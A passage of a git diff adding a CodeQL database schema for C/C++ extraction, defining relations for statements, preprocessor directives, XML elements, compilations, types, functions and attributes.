ref +); + +if_else( + unique int if_stmt: @stmt_if ref, + int else_id: @stmt ref +); + +constexpr_if_initialization( + unique int constexpr_if_stmt: @stmt_constexpr_if ref, + int init_id: @stmt ref +); + +constexpr_if_then( + unique int constexpr_if_stmt: @stmt_constexpr_if ref, + int then_id: @stmt ref +); + +constexpr_if_else( + unique int constexpr_if_stmt: @stmt_constexpr_if ref, + int else_id: @stmt ref +); + +@stmt_consteval_or_not_consteval_if = @stmt_consteval_if | @stmt_not_consteval_if; + +consteval_if_then( + unique int constexpr_if_stmt: @stmt_consteval_or_not_consteval_if ref, + int then_id: @stmt ref +); + +consteval_if_else( + unique int constexpr_if_stmt: @stmt_consteval_or_not_consteval_if ref, + int else_id: @stmt ref +); + +while_body( + unique int while_stmt: @stmt_while ref, + int body_id: @stmt ref +); + +do_body( + unique int do_stmt: @stmt_end_test_while ref, + int body_id: @stmt ref +); + +switch_initialization( + unique int switch_stmt: @stmt_switch ref, + int init_id: @stmt ref +); + +#keyset[switch_stmt, index] +switch_case( + int switch_stmt: @stmt_switch ref, + int index: int ref, + int case_id: @stmt_switch_case ref +); + +switch_body( + unique int switch_stmt: @stmt_switch ref, + int body_id: @stmt ref +); + +@stmt_for_or_range_based_for = @stmt_for + | @stmt_range_based_for; + +for_initialization( + unique int for_stmt: @stmt_for_or_range_based_for ref, + int init_id: @stmt ref +); + +for_condition( + unique int for_stmt: @stmt_for ref, + int condition_id: @expr ref +); + +for_update( + unique int for_stmt: @stmt_for ref, + int update_id: @expr ref +); + +for_body( + unique int for_stmt: @stmt_for ref, + int body_id: @stmt ref +); + +@stmtparent = @stmt | @expr_stmt ; +stmtparents( + unique int id: @stmt ref, + int index: int ref, + int parent: @stmtparent ref +); + +ishandler(unique int block: @stmt_block ref); + +@cfgnode = @stmt | @expr | @function | @initialiser ; + +stmt_decl_bind( + int stmt: @stmt_decl ref, + int num: int ref, + int decl: @declaration ref +); + +stmt_decl_entry_bind( + int stmt: @stmt_decl ref, + int num: int ref, + int decl_entry: @element ref +); + +@parameterized_element = @function | @stmt_block | @requires_expr; + +blockscope( + unique int block: @stmt_block ref, + int enclosing: @parameterized_element ref +); + +@jump = @stmt_goto | @stmt_break | @stmt_continue; + +@jumporlabel = @jump | @stmt_label | @literal; + +jumpinfo( + unique int id: @jumporlabel ref, + string str: string ref, + int target: @stmt ref +); + +preprocdirects( + unique int id: @preprocdirect, + int kind: int ref, + int location: @location_default ref +); +case @preprocdirect.kind of + 0 = @ppd_if +| 1 = @ppd_ifdef +| 2 = @ppd_ifndef +| 3 = @ppd_elif +| 4 = @ppd_else +| 5 = @ppd_endif +| 6 = @ppd_plain_include +| 7 = @ppd_define +| 8 = @ppd_undef +| 9 = @ppd_line +| 10 = @ppd_error +| 11 = @ppd_pragma +| 12 = @ppd_objc_import +| 13 = @ppd_include_next +| 14 = @ppd_ms_import +| 15 = @ppd_elifdef +| 16 = @ppd_elifndef +| 18 = @ppd_warning +; + +@ppd_include = @ppd_plain_include | @ppd_objc_import | @ppd_include_next | @ppd_ms_import; + +@ppd_branch = @ppd_if | @ppd_ifdef | @ppd_ifndef | @ppd_elif | @ppd_elifdef | @ppd_elifndef; + +preprocpair( + int begin : @ppd_branch ref, + int elseelifend : @preprocdirect ref +); + +preproctrue(int branch : @ppd_branch ref); +preprocfalse(int branch : @ppd_branch ref); + +preproctext( + unique int id: @preprocdirect ref, + string head: string ref, + string body: string ref +); + +includes( + unique int id: @ppd_include ref, + int included: @file ref +); + +link_targets( + int id: @link_target, + int binary: @file ref +); + +link_parent( + int element : @element ref, + int link_target : @link_target ref +); + +/* XML Files */ + +xmlEncoding(unique int id: @file ref, string encoding: string ref); + +xmlDTDs( + unique int id: @xmldtd, + string root: string ref, + string publicId: string ref, + string systemId: string ref, + int fileid: @file ref +); + +xmlElements( + unique int id: @xmlelement, + string name: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int fileid: @file ref +); + +xmlAttrs( + unique int id: @xmlattribute, + int elementid: @xmlelement ref, + string name: string ref, + string value: string ref, + int idx: int ref, + int fileid: @file ref +); + +xmlNs( + int id: @xmlnamespace, + string prefixName: string ref, + string URI: string ref, + int fileid: @file ref +); + +xmlHasNs( + int elementId: @xmlnamespaceable ref, + int nsId: @xmlnamespace ref, + int fileid: @file ref +); + +xmlComments( + unique int id: @xmlcomment, + string text: string ref, + int parentid: @xmlparent ref, + int fileid: @file ref +); + +xmlChars( + unique int id: @xmlcharacters, + string text: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int isCDATA: int ref, + int fileid: @file ref +); + +@xmlparent = @file | @xmlelement; +@xmlnamespaceable = @xmlelement | @xmlattribute; + +xmllocations( + int xmlElement: @xmllocatable ref, + int location: @location_default ref +); + +@xmllocatable = @xmlcharacters + | @xmlelement + | @xmlcomment + | @xmlattribute + | @xmldtd + | @file + | @xmlnamespace; diff --git a/cpp/ql/lib/upgrades/9a7c3c14c1076f64b871719117a558733d987b48/semmlecode.cpp.dbscheme b/cpp/ql/lib/upgrades/9a7c3c14c1076f64b871719117a558733d987b48/semmlecode.cpp.dbscheme new file mode 100644 index 00000000000..af887e83a81 --- /dev/null +++ b/cpp/ql/lib/upgrades/9a7c3c14c1076f64b871719117a558733d987b48/semmlecode.cpp.dbscheme @@ -0,0 +1,2492 @@ + +/** + * An invocation of the compiler. Note that more than one file may be + * compiled per invocation. For example, this command compiles three + * source files: + * + * gcc -c f1.c f2.c f3.c + * + * The `id` simply identifies the invocation, while `cwd` is the working + * directory from which the compiler was invoked. + */ +compilations( + /** + * An invocation of the compiler. Note that more than one file may + * be compiled per invocation. For example, this command compiles + * three source files: + * + * gcc -c f1.c f2.c f3.c + */ + unique int id : @compilation, + string cwd : string ref +); + +/** + * The arguments that were passed to the extractor for a compiler + * invocation. If `id` is for the compiler invocation + * + * gcc -c f1.c f2.c f3.c + * + * then typically there will be rows for + * + * num | arg + * --- | --- + * 0 | *path to extractor* + * 1 | `--mimic` + * 2 | `/usr/bin/gcc` + * 3 | `-c` + * 4 | f1.c + * 5 | f2.c + * 6 | f3.c + */ +#keyset[id, num] +compilation_args( + int id : @compilation ref, + int num : int ref, + string arg : string ref +); + +/** + * Optionally, record the build mode for each compilation. + */ +compilation_build_mode( + unique int id : @compilation ref, + int mode : int ref +); + +/* +case @compilation_build_mode.mode of + 0 = @build_mode_none +| 1 = @build_mode_manual +| 2 = @build_mode_auto +; +*/ + +/** + * The source files that are compiled by a compiler invocation. + * If `id` is for the compiler invocation + * + * gcc -c f1.c f2.c f3.c + * + * then there will be rows for + * + * num | arg + * --- | --- + * 0 | f1.c + * 1 | f2.c + * 2 | f3.c + * + * Note that even if those files `#include` headers, those headers + * do not appear as rows. + */ +#keyset[id, num] +compilation_compiling_files( + int id : @compilation ref, + int num : int ref, + int file : @file ref +); + +/** + * The time taken by the extractor for a compiler invocation. + * + * For each file `num`, there will be rows for + * + * kind | seconds + * ---- | --- + * 1 | CPU seconds used by the extractor frontend + * 2 | Elapsed seconds during the extractor frontend + * 3 | CPU seconds used by the extractor backend + * 4 | Elapsed seconds during the extractor backend + */ +#keyset[id, num, kind] +compilation_time( + int id : @compilation ref, + int num : int ref, + /* kind: + 1 = frontend_cpu_seconds + 2 = frontend_elapsed_seconds + 3 = extractor_cpu_seconds + 4 = extractor_elapsed_seconds + */ + int kind : int ref, + float seconds : float ref +); + +/** + * An error or warning generated by the extractor. + * The diagnostic message `diagnostic` was generated during compiler + * invocation `compilation`, and is the `file_number_diagnostic_number`th + * message generated while extracting the `file_number`th file of that + * invocation. + */ +#keyset[compilation, file_number, file_number_diagnostic_number] +diagnostic_for( + int diagnostic : @diagnostic ref, + int compilation : @compilation ref, + int file_number : int ref, + int file_number_diagnostic_number : int ref +); + +/** + * If extraction was successful, then `cpu_seconds` and + * `elapsed_seconds` are the CPU time and elapsed time (respectively) + * that extraction took for compiler invocation `id`. + */ +compilation_finished( + unique int id : @compilation ref, + float cpu_seconds : float ref, + float elapsed_seconds : float ref +); + + +/** + * External data, loaded from CSV files during snapshot creation. See + * [Tutorial: Incorporating external data](https://help.semmle.com/wiki/display/SD/Tutorial%3A+Incorporating+external+data) + * for more information. + */ +externalData( + int id : @externalDataElement, + string path : string ref, + int column: int ref, + string value : string ref +); + +/** + * The source location of the snapshot. + */ +sourceLocationPrefix(string prefix : string ref); + +/** + * Information about packages that provide code used during compilation. + * The `id` is just a unique identifier. + * The `namespace` is typically the name of the package manager that + * provided the package (e.g. "dpkg" or "yum"). + * The `package_name` is the name of the package, and `version` is its + * version (as a string). + */ +external_packages( + unique int id: @external_package, + string namespace : string ref, + string package_name : string ref, + string version : string ref +); + +/** + * Holds if File `fileid` was provided by package `package`. + */ +header_to_external_package( + int fileid : @file ref, + int package : @external_package ref +); + +/* + * Version history + */ + +svnentries( + unique int id : @svnentry, + string revision : string ref, + string author : string ref, + date revisionDate : date ref, + int changeSize : int ref +) + +svnaffectedfiles( + int id : @svnentry ref, + int file : @file ref, + string action : string ref +) + +svnentrymsg( + unique int id : @svnentry ref, + string message : string ref +) + +svnchurn( + int commit : @svnentry ref, + int file : @file ref, + int addedLines : int ref, + int deletedLines : int ref +) + +/* + * C++ dbscheme + */ + +extractor_version( + string codeql_version: string ref, + string frontend_version: string ref +) + +@location = @location_stmt | @location_expr | @location_default ; + +/** + * The location of an element that is not an expression or a statement. + * The location spans column `startcolumn` of line `startline` to + * column `endcolumn` of line `endline` in file `file`. + * For more information, see + * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/). + */ +locations_default( + /** The location of an element that is not an expression or a statement. */ + unique int id: @location_default, + int container: @container ref, + int startLine: int ref, + int startColumn: int ref, + int endLine: int ref, + int endColumn: int ref +); + +/** + * The location of a statement. + * The location spans column `startcolumn` of line `startline` to + * column `endcolumn` of line `endline` in file `file`. + * For more information, see + * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/). + */ +locations_stmt( + /** The location of a statement. */ + unique int id: @location_stmt, + int container: @container ref, + int startLine: int ref, + int startColumn: int ref, + int endLine: int ref, + int endColumn: int ref +); + +/** + * The location of an expression. + * The location spans column `startcolumn` of line `startline` to + * column `endcolumn` of line `endline` in file `file`. + * For more information, see + * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/). + */ +locations_expr( + /** The location of an expression. */ + unique int id: @location_expr, + int container: @container ref, + int startLine: int ref, + int startColumn: int ref, + int endLine: int ref, + int endColumn: int ref +); + +/** An element for which line-count information is available. */ +@sourceline = @file | @function | @variable | @enumconstant | @xmllocatable; + +numlines( + int element_id: @sourceline ref, + int num_lines: int ref, + int num_code: int ref, + int num_comment: int ref +); + +diagnostics( + unique int id: @diagnostic, + int severity: int ref, + string error_tag: string ref, + string error_message: string ref, + string full_error_message: string ref, + int location: @location_default ref +); + +files( + unique int id: @file, + string name: string ref +); + +folders( + unique int id: @folder, + string name: string ref +); + +@container = @folder | @file + +containerparent( + int parent: @container ref, + unique int child: @container ref +); + +fileannotations( + int id: @file ref, + int kind: int ref, + string name: string ref, + string value: string ref +); + +inmacroexpansion( + int id: @element ref, + int inv: @macroinvocation ref +); + +affectedbymacroexpansion( + int id: @element ref, + int inv: @macroinvocation ref +); + +case @macroinvocation.kind of + 1 = @macro_expansion +| 2 = @other_macro_reference +; + +macroinvocations( + unique int id: @macroinvocation, + int macro_id: @ppd_define ref, + int location: @location_default ref, + int kind: int ref +); + +macroparent( + unique int id: @macroinvocation ref, + int parent_id: @macroinvocation ref +); + +// a macroinvocation may be part of another location +// the way to find a constant expression that uses a macro +// is thus to find a constant expression that has a location +// to which a macro invocation is bound +macrolocationbind( + int id: @macroinvocation ref, + int location: @location ref +); + +#keyset[invocation, argument_index] +macro_argument_unexpanded( + int invocation: @macroinvocation ref, + int argument_index: int ref, + string text: string ref +); + +#keyset[invocation, argument_index] +macro_argument_expanded( + int invocation: @macroinvocation ref, + int argument_index: int ref, + string text: string ref +); + +/* +case @function.kind of + 1 = @normal_function +| 2 = @constructor +| 3 = @destructor +| 4 = @conversion_function +| 5 = @operator +| 6 = @builtin_function // GCC built-in functions, e.g. __builtin___memcpy_chk +| 7 = @user_defined_literal +| 8 = @deduction_guide +; +*/ + +functions( + unique int id: @function, + string name: string ref, + int kind: int ref +); + +function_entry_point( + int id: @function ref, + unique int entry_point: @stmt ref +); + +function_return_type( + int id: @function ref, + int return_type: @type ref +); + +/** + * If `function` is a coroutine, then this gives the `std::experimental::resumable_traits` + * instance associated with it, and the variables representing the `handle` and `promise` + * for it. + */ +coroutine( + unique int function: @function ref, + int traits: @type ref +); + +/* +case @coroutine_placeholder_variable.kind of + 1 = @handle +| 2 = @promise +| 3 = @init_await_resume +; +*/ + +coroutine_placeholder_variable( + unique int placeholder_variable: @variable ref, + int kind: int ref, + int function: @function ref +) + +/** The `new` function used for allocating the coroutine state, if any. */ +coroutine_new( + unique int function: @function ref, + int new: @function ref +); + +/** The `delete` function used for deallocating the coroutine state, if any. */ +coroutine_delete( + unique int function: @function ref, + int delete: @function ref +); + +purefunctions(unique int id: @function ref); + +function_deleted(unique int id: @function ref); + +function_defaulted(unique int id: @function ref); + +function_prototyped(unique int id: @function ref) + +deduction_guide_for_class( + int id: @function ref, + int class_template: @usertype ref +) + +member_function_this_type( + unique int id: @function ref, + int this_type: @type ref +); + +#keyset[id, type_id] +fun_decls( + int id: @fun_decl, + int function: @function ref, + int type_id: @type ref, + string name: string ref, + int location: @location_default ref +); +fun_def(unique int id: @fun_decl ref); +fun_specialized(unique int id: @fun_decl ref); +fun_implicit(unique int id: @fun_decl ref); +fun_decl_specifiers( + int id: @fun_decl ref, + string name: string ref +) +#keyset[fun_decl, index] +fun_decl_throws( + int fun_decl: @fun_decl ref, + int index: int ref, + int type_id: @type ref +); +/* an empty throw specification is different from none */ +fun_decl_empty_throws(unique int fun_decl: @fun_decl ref); +fun_decl_noexcept( + int fun_decl: @fun_decl ref, + int constant: @expr ref +); +fun_decl_empty_noexcept(int fun_decl: @fun_decl ref); +fun_decl_typedef_type( + unique int fun_decl: @fun_decl ref, + int typedeftype_id: @usertype ref +); + +/* +case @fun_requires.kind of + 1 = @template_attached +| 2 = @function_attached +; +*/ + +fun_requires( + int id: @fun_decl ref, + int kind: int ref, + int constraint: @expr ref +); + +param_decl_bind( + unique int id: @var_decl ref, + int index: int ref, + int fun_decl: @fun_decl ref +); + +#keyset[id, type_id] +var_decls( + int id: @var_decl, + int variable: @variable ref, + int type_id: @type ref, + string name: string ref, + int location: @location_default ref +); +var_def(unique int id: @var_decl ref); +var_specialized(int id: @var_decl ref); +var_decl_specifiers( + int id: @var_decl ref, + string name: string ref +) +is_structured_binding(unique int id: @variable ref); +var_requires( + int id: @var_decl ref, + int constraint: @expr ref +); + +type_decls( + unique int id: @type_decl, + int type_id: @type ref, + int location: @location_default ref +); +type_def(unique int id: @type_decl ref); +type_decl_top( + unique int type_decl: @type_decl ref +); +type_requires( + int id: @type_decl ref, + int constraint: @expr ref +); + +namespace_decls( + unique int id: @namespace_decl, + int namespace_id: @namespace ref, + int location: @location_default ref, + int bodylocation: @location_default ref +); + +case @using.kind of + 1 = @using_declaration +| 2 = @using_directive +| 3 = @using_enum_declaration +; + +usings( + unique int id: @using, + int element_id: @element ref, + int location: @location_default ref, + int kind: int ref +); + +/** The element which contains the `using` declaration. */ +using_container( + int parent: @element ref, + int child: @using ref +); + +static_asserts( + unique int id: @static_assert, + int condition : @expr ref, + string message : string ref, + int location: @location_default ref, + int enclosing : @element ref +); + +// each function has an ordered list of parameters +#keyset[id, type_id] +#keyset[function, index, type_id] +params( + int id: @parameter, + int function: @parameterized_element ref, + int index: int ref, + int type_id: @type ref +); + +overrides( + int new: @function ref, + int old: @function ref +); + +#keyset[id, type_id] +membervariables( + int id: @membervariable, + int type_id: @type ref, + string name: string ref +); + +#keyset[id, type_id] +globalvariables( + int id: @globalvariable, + int type_id: @type ref, + string name: string ref +); + +#keyset[id, type_id] +localvariables( + int id: @localvariable, + int type_id: @type ref, + string name: string ref +); + +autoderivation( + unique int var: @variable ref, + int derivation_type: @type ref +); + +orphaned_variables( + int var: @localvariable ref, + int function: @function ref +) + +enumconstants( + unique int id: @enumconstant, + int parent: @usertype ref, + int index: int ref, + int type_id: @type ref, + string name: string ref, + int location: @location_default ref +); + +@variable = @localscopevariable | @globalvariable | @membervariable; + +@localscopevariable = @localvariable | @parameter; + +/** + * Built-in types are the fundamental types, e.g., integral, floating, and void. + */ +case @builtintype.kind of + 1 = @errortype +| 2 = @unknowntype +| 3 = @void +| 4 = @boolean +| 5 = @char +| 6 = @unsigned_char +| 7 = @signed_char +| 8 = @short +| 9 = @unsigned_short +| 10 = @signed_short +| 11 = @int +| 12 = @unsigned_int +| 13 = @signed_int +| 14 = @long +| 15 = @unsigned_long +| 16 = @signed_long +| 17 = @long_long +| 18 = @unsigned_long_long +| 19 = @signed_long_long +// ... 20 Microsoft-specific __int8 +// ... 21 Microsoft-specific __int16 +// ... 22 Microsoft-specific __int32 +// ... 23 Microsoft-specific __int64 +| 24 = @float +| 25 = @double +| 26 = @long_double +| 27 = @complex_float // C99-specific _Complex float +| 28 = @complex_double // C99-specific _Complex double +| 29 = @complex_long_double // C99-specific _Complex long double +| 30 = @imaginary_float // C99-specific _Imaginary float +| 31 = @imaginary_double // C99-specific _Imaginary double +| 32 = @imaginary_long_double // C99-specific _Imaginary long double +| 33 = @wchar_t // Microsoft-specific +| 34 = @decltype_nullptr // C++11 +| 35 = @int128 // __int128 +| 36 = @unsigned_int128 // unsigned __int128 +| 37 = @signed_int128 // signed __int128 +| 38 = @float128 // __float128 +| 39 = @complex_float128 // _Complex __float128 +| 40 = @decimal32 // _Decimal32 +| 41 = @decimal64 // _Decimal64 +| 42 = @decimal128 // _Decimal128 +| 43 = @char16_t +| 44 = @char32_t +| 45 = @std_float32 // _Float32 +| 46 = @float32x // _Float32x +| 47 = @std_float64 // _Float64 +| 48 = @float64x // _Float64x +| 49 = @std_float128 // _Float128 +// ... 50 _Float128x +| 51 = @char8_t +| 52 = @float16 // _Float16 +| 53 = @complex_float16 // _Complex _Float16 +| 54 = @fp16 // __fp16 +| 55 = @std_bfloat16 // __bf16 +| 56 = @std_float16 // std::float16_t +| 57 = @complex_std_float32 // _Complex _Float32 +| 58 = @complex_float32x // _Complex _Float32x +| 59 = @complex_std_float64 // _Complex _Float64 +| 60 = @complex_float64x // _Complex _Float64x +| 61 = @complex_std_float128 // _Complex _Float128 +| 62 = @mfp8 // __mfp8 +; + +builtintypes( + unique int id: @builtintype, + string name: string ref, + int kind: int ref, + int size: int ref, + int sign: int ref, + int alignment: int ref +); + +/** + * Derived types are types that are directly derived from existing types and + * point to, refer to, transform type data to return a new type. + */ +case @derivedtype.kind of + 1 = @pointer +| 2 = @reference +| 3 = @type_with_specifiers +| 4 = @array +| 5 = @gnu_vector +| 6 = @routineptr +| 7 = @routinereference +| 8 = @rvalue_reference // C++11 +// ... 9 type_conforming_to_protocols deprecated +| 10 = @block +; + +derivedtypes( + unique int id: @derivedtype, + string name: string ref, + int kind: int ref, + int type_id: @type ref +); + +pointerishsize(unique int id: @derivedtype ref, + int size: int ref, + int alignment: int ref); + +arraysizes( + unique int id: @derivedtype ref, + int num_elements: int ref, + int bytesize: int ref, + int alignment: int ref +); + +typedefbase( + unique int id: @usertype ref, + int type_id: @type ref +); + +/** + * An instance of the C++11 `decltype` operator or C23 `typeof`/`typeof_unqual` + * operator taking an expression as its argument. For example: + * ``` + * int a; + * decltype(1+a) b; + * typeof(1+a) c; + * ``` + * Here `expr` is `1+a`. + * + * Sometimes an additional pair of parentheses around the expression + * changes the semantics of the decltype, e.g. + * ``` + * struct A { double x; }; + * const A* a = new A(); + * decltype( a->x ); // type is double + * decltype((a->x)); // type is const double& + * ``` + * (Please consult the C++11 standard for more details). + * `parentheses_would_change_meaning` is `true` iff that is the case. + */ + +/* +case @decltype.kind of +| 0 = @decltype +| 1 = @typeof // The frontend does not differentiate between typeof and typeof_unqual +; +*/ + +#keyset[id, expr] +decltypes( + int id: @decltype, + int expr: @expr ref, + int kind: int ref, + int base_type: @type ref, + boolean parentheses_would_change_meaning: boolean ref +); + +/* +case @type_operator.kind of +| 0 = @typeof // The frontend does not differentiate between typeof and typeof_unqual +| 1 = @underlying_type +| 2 = @bases +| 3 = @direct_bases +| 4 = @add_lvalue_reference +| 5 = @add_pointer +| 6 = @add_rvalue_reference +| 7 = @decay +| 8 = @make_signed +| 9 = @make_unsigned +| 10 = @remove_all_extents +| 11 = @remove_const +| 12 = @remove_cv +| 13 = @remove_cvref +| 14 = @remove_extent +| 15 = @remove_pointer +| 16 = @remove_reference_t +| 17 = @remove_restrict +| 18 = @remove_volatile +| 19 = @remove_reference +; +*/ + +type_operators( + unique int id: @type_operator, + int arg_type: @type ref, + int kind: int ref, + int base_type: @type ref +) + +/* +case @usertype.kind of +| 0 = @unknown_usertype +| 1 = @struct +| 2 = @class +| 3 = @union +| 4 = @enum +// ... 5 = @typedef deprecated // classic C: typedef typedef type name +// ... 6 = @template deprecated +| 7 = @template_parameter +| 8 = @template_template_parameter +| 9 = @proxy_class // a proxy class associated with a template parameter +// ... 10 objc_class deprecated +// ... 11 objc_protocol deprecated +// ... 12 objc_category deprecated +| 13 = @scoped_enum +// ... 14 = @using_alias deprecated // a using name = type style typedef +| 15 = @template_struct +| 16 = @template_class +| 17 = @template_union +| 18 = @alias +; +*/ + +usertypes( + unique int id: @usertype, + string name: string ref, + int kind: int ref +); + +usertypesize( + unique int id: @usertype ref, + int size: int ref, + int alignment: int ref +); + +usertype_final(unique int id: @usertype ref); + +usertype_uuid( + unique int id: @usertype ref, + string uuid: string ref +); + +/* +case @usertype.alias_kind of +| 0 = @typedef +| 1 = @alias +*/ + +usertype_alias_kind( + int id: @usertype ref, + int alias_kind: int ref +) + +nontype_template_parameters( + int id: @expr ref +); + +type_template_type_constraint( + int id: @usertype ref, + int constraint: @expr ref +); + +mangled_name( + unique int id: @declaration ref, + int mangled_name : @mangledname, + boolean is_complete: boolean ref +); + +is_pod_class(unique int id: @usertype ref); +is_standard_layout_class(unique int id: @usertype ref); + +is_complete(unique int id: @usertype ref); + +is_class_template(unique int id: @usertype ref); +class_instantiation( + int to: @usertype ref, + int from: @usertype ref +); +class_template_argument( + int type_id: @usertype ref, + int index: int ref, + int arg_type: @type ref +); +class_template_argument_value( + int type_id: @usertype ref, + int index: int ref, + int arg_value: @expr ref +); + +@user_or_decltype = @usertype | @decltype; + +is_proxy_class_for( + unique int id: @usertype ref, + int templ_param_id: @user_or_decltype ref +); + +type_mentions( + unique int id: @type_mention, + int type_id: @type ref, + int location: @location ref, + // a_symbol_reference_kind from the frontend. + int kind: int ref +); + +is_function_template(unique int id: @function ref); +function_instantiation( + unique int to: @function ref, + int from: @function ref +); +function_template_argument( + int function_id: @function ref, + int index: int ref, + int arg_type: @type ref +); +function_template_argument_value( + int function_id: @function ref, + int index: int ref, + int arg_value: @expr ref +); + +is_variable_template(unique int id: @variable ref); +variable_instantiation( + unique int to: @variable ref, + int from: @variable ref +); +variable_template_argument( + int variable_id: @variable ref, + int index: int ref, + int arg_type: @type ref +); +variable_template_argument_value( + int variable_id: @variable ref, + int index: int ref, + int arg_value: @expr ref +); + +template_template_instantiation( + int to: @usertype ref, + int from: @usertype ref +); +template_template_argument( + int type_id: @usertype ref, + int index: int ref, + int arg_type: @type ref +); +template_template_argument_value( + int type_id: @usertype ref, + int index: int ref, + int arg_value: @expr ref +); + +@concept = @concept_template | @concept_id; + +concept_templates( + unique int concept_id: @concept_template, + string name: string ref, + int location: @location_default ref +); +concept_instantiation( + unique int to: @concept_id ref, + int from: @concept_template ref +); +is_type_constraint(int concept_id: @concept_id ref); +concept_template_argument( + int concept_id: @concept ref, + int index: int ref, + int arg_type: @type ref +); +concept_template_argument_value( + int concept_id: @concept ref, + int index: int ref, + int arg_value: @expr ref +); + +routinetypes( + unique int id: @routinetype, + int return_type: @type ref +); + +routinetypeargs( + int routine: @routinetype ref, + int index: int ref, + int type_id: @type ref +); + +ptrtomembers( + unique int id: @ptrtomember, + int type_id: @type ref, + int class_id: @type ref +); + +/* + specifiers for types, functions, and variables + + "public", + "protected", + "private", + + "const", + "volatile", + "static", + + "pure", + "virtual", + "sealed", // Microsoft + "__interface", // Microsoft + "inline", + "explicit", + + "near", // near far extension + "far", // near far extension + "__ptr32", // Microsoft + "__ptr64", // Microsoft + "__sptr", // Microsoft + "__uptr", // Microsoft + "dllimport", // Microsoft + "dllexport", // Microsoft + "thread", // Microsoft + "naked", // Microsoft + "microsoft_inline", // Microsoft + "forceinline", // Microsoft + "selectany", // Microsoft + "nothrow", // Microsoft + "novtable", // Microsoft + "noreturn", // Microsoft + "noinline", // Microsoft + "noalias", // Microsoft + "restrict", // Microsoft +*/ + +specifiers( + unique int id: @specifier, + unique string str: string ref +); + +typespecifiers( + int type_id: @type ref, + int spec_id: @specifier ref +); + +funspecifiers( + int func_id: @function ref, + int spec_id: @specifier ref +); + +varspecifiers( + int var_id: @accessible ref, + int spec_id: @specifier ref +); + +explicit_specifier_exprs( + unique int func_id: @function ref, + int constant: @expr ref +) + +attributes( + unique int id: @attribute, + int kind: int ref, + string name: string ref, + string name_space: string ref, + int location: @location_default ref +); + +case @attribute.kind of + 0 = @gnuattribute +| 1 = @stdattribute +| 2 = @declspec +| 3 = @msattribute +| 4 = @alignas +// ... 5 @objc_propertyattribute deprecated +; + +attribute_args( + unique int id: @attribute_arg, + int kind: int ref, + int attribute: @attribute ref, + int index: int ref, + int location: @location_default ref +); + +case @attribute_arg.kind of + 0 = @attribute_arg_empty +| 1 = @attribute_arg_token +| 2 = @attribute_arg_constant +| 3 = @attribute_arg_type +| 4 = @attribute_arg_constant_expr +| 5 = @attribute_arg_expr +; + +attribute_arg_value( + unique int arg: @attribute_arg ref, + string value: string ref +); +attribute_arg_type( + unique int arg: @attribute_arg ref, + int type_id: @type ref +); +attribute_arg_constant( + unique int arg: @attribute_arg ref, + int constant: @expr ref +) +attribute_arg_expr( + unique int arg: @attribute_arg ref, + int expr: @expr ref +) +attribute_arg_name( + unique int arg: @attribute_arg ref, + string name: string ref +); + +typeattributes( + int type_id: @type ref, + int spec_id: @attribute ref +); + +funcattributes( + int func_id: @function ref, + int spec_id: @attribute ref +); + +varattributes( + int var_id: @accessible ref, + int spec_id: @attribute ref +); + +stmtattributes( + int stmt_id: @stmt ref, + int spec_id: @attribute ref +); + +@type = @builtintype + | @derivedtype + | @usertype + | @routinetype + | @ptrtomember + | @decltype + | @type_operator; + +unspecifiedtype( + unique int type_id: @type ref, + int unspecified_type_id: @type ref +); + +member( + int parent: @type ref, + int index: int ref, + int child: @member ref +); + +@enclosingfunction_child = @usertype | @variable | @namespace + +enclosingfunction( + unique int child: @enclosingfunction_child ref, + int parent: @function ref +); + +derivations( + unique int derivation: @derivation, + int sub: @type ref, + int index: int ref, + int super: @type ref, + int location: @location_default ref +); + +derspecifiers( + int der_id: @derivation ref, + int spec_id: @specifier ref +); + +/** + * Contains the byte offset of the base class subobject within the derived + * class. Only holds for non-virtual base classes, but see table + * `virtual_base_offsets` for offsets of virtual base class subobjects. + */ +direct_base_offsets( + unique int der_id: @derivation ref, + int offset: int ref +); + +/** + * Contains the byte offset of the virtual base class subobject for class + * `super` within a most-derived object of class `sub`. `super` can be either a + * direct or indirect base class. + */ +#keyset[sub, super] +virtual_base_offsets( + int sub: @usertype ref, + int super: @usertype ref, + int offset: int ref +); + +frienddecls( + unique int id: @frienddecl, + int type_id: @type ref, + int decl_id: @declaration ref, + int location: @location_default ref +); + +@declaredtype = @usertype ; + +@declaration = @function + | @declaredtype + | @variable + | @enumconstant + | @frienddecl + | @concept_template; + +@member = @membervariable + | @function + | @declaredtype + | @enumconstant; + +@locatable = @diagnostic + | @declaration + | @ppd_include + | @ppd_define + | @macroinvocation + /*| @funcall*/ + | @xmllocatable + | @attribute + | @attribute_arg; + +@namedscope = @namespace | @usertype; + +@element = @locatable + | @file + | @folder + | @specifier + | @type + | @expr + | @namespace + | @initialiser + | @stmt + | @derivation + | @comment + | @preprocdirect + | @fun_decl + | @var_decl + | @type_decl + | @namespace_decl + | @using + | @namequalifier + | @specialnamequalifyingelement + | @static_assert + | @type_mention + | @lambdacapture; + +@exprparent = @element; + +comments( + unique int id: @comment, + string contents: string ref, + int location: @location_default ref +); + +commentbinding( + int id: @comment ref, + int element: @element ref +); + +exprconv( + int converted: @expr ref, + unique int conversion: @expr ref +); + +compgenerated(unique int id: @element ref); + +/** + * `destructor_call` destructs the `i`'th entity that should be + * destructed following `element`. Note that entities should be + * destructed in reverse construction order, so for a given `element` + * these should be called from highest to lowest `i`. + */ +#keyset[element, destructor_call] +#keyset[element, i] +synthetic_destructor_call( + int element: @element ref, + int i: int ref, + int destructor_call: @routineexpr ref +); + +namespaces( + unique int id: @namespace, + string name: string ref +); + +namespace_inline( + unique int id: @namespace ref +); + +namespacembrs( + int parentid: @namespace ref, + unique int memberid: @namespacembr ref +); + +@namespacembr = @declaration | @namespace; + +exprparents( + int expr_id: @expr ref, + int child_index: int ref, + int parent_id: @exprparent ref +); + +expr_isload(unique int expr_id: @expr ref); + +@cast = @c_style_cast + | @const_cast + | @dynamic_cast + | @reinterpret_cast + | @static_cast + ; + +/* +case @conversion.kind of + 0 = @simple_conversion // a numeric conversion, qualification conversion, or a reinterpret_cast +| 1 = @bool_conversion // conversion to 'bool' +| 2 = @base_class_conversion // a derived-to-base conversion +| 3 = @derived_class_conversion // a base-to-derived conversion +| 4 = @pm_base_class_conversion // a derived-to-base conversion of a pointer to member +| 5 = @pm_derived_class_conversion // 